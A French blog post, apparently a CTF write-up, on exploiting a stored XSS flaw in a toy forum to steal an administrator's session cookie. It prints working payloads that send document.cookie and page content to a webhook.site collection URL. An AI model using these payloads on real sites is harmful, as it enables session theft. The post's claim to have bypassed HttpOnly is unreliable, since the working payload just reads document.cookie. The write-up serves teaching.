Back to blog
Jun 11, 2025
3 min read

Résolution d'un challenge XSS

Détails de mon approche pour résoudre le challenge Stocked XSS, en volant le cookie de session administrateur.

Objectif

Ce write-up détaille ma résolution du challenge “Stocked XSS” sur une plateforme de CTF, démontrant mes compétences en sécurité web, analyse technique et résolution de problèmes.

Description du challenge : “Volez le cookie de session de l’administrateur et utilisez-le pour valider l’épreuve.”

Analyse initiale et approche

L’application cible était un forum basique (v0.001) avec des champs Titre et Message. La description suggérait une vulnérabilité de Cross-Site Scripting (XSS) stocké.

Hypothèses

  1. Le champ Message stockait les inputs sans sanitisation
  2. Le contenu était rendu pour tous les utilisateurs (dont un bot admin)
  3. L’exécution de JavaScript permettrait de voler le cookie de session

Test 1 : Confirmation de l’exécution de script

Payload injecté :

<script>alert(1)</script>

✅ Résultat : Pop-up confirmée - vulnérabilité XSS validée

Payload :

fetch('https://webhook.site/[URL]/?cookie=' + encodeURIComponent(document.cookie));

Problèmes rencontrés :

  • Cookies non reçus dans le webhook
  • document.cookie retournait une chaîne vide

Hypothèse

Le cookie était protégé par le flag HttpOnly (inaccessible en JavaScript)

Tentative 2 : Extraction du contenu HTML

Nouveau payload :

fetch(window.location.pathname)
  .then(r => r.text())
  .then(data => {
    fetch('https://webhook.site/[URL]/?content=' + encodeURIComponent(data))
  });

Problèmes :

  1. Erreurs de syntaxe (retours à la ligne remplacés par <br>)
  2. Restrictions CORS bloquant la requête

Tentative 3 : Exfiltration via <img>.src

Méthode alternative contournant CORS :

new Image().src='https://webhook.site/[URL]/?test=hello';

✅ Preuve de concept fonctionnelle

Payload :

new Image().src='https://webhook.site/[URL]/?c=' + encodeURIComponent(document.cookie);

✅ Résultat :

c=ADMIN_COOKIE=XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Apprentissages clés

  • Exploitation XSS stocké : Injection persistante réussie
  • Sécurité navigateur : Contournement des restrictions HttpOnly et CORS
  • Adaptabilité : Pivot entre différentes techniques d’exfiltration
  • Débogage : Utilisation méthodique des outils développeur
  • Persévérance : Itération sur 4 approches différentes

Considérations éthiques

Ces techniques doivent exclusivement être utilisées dans des environnements autorisés (CTFs, pentests légaux). Ce challenge a renforcé mes compétences en sécurité web appliquée.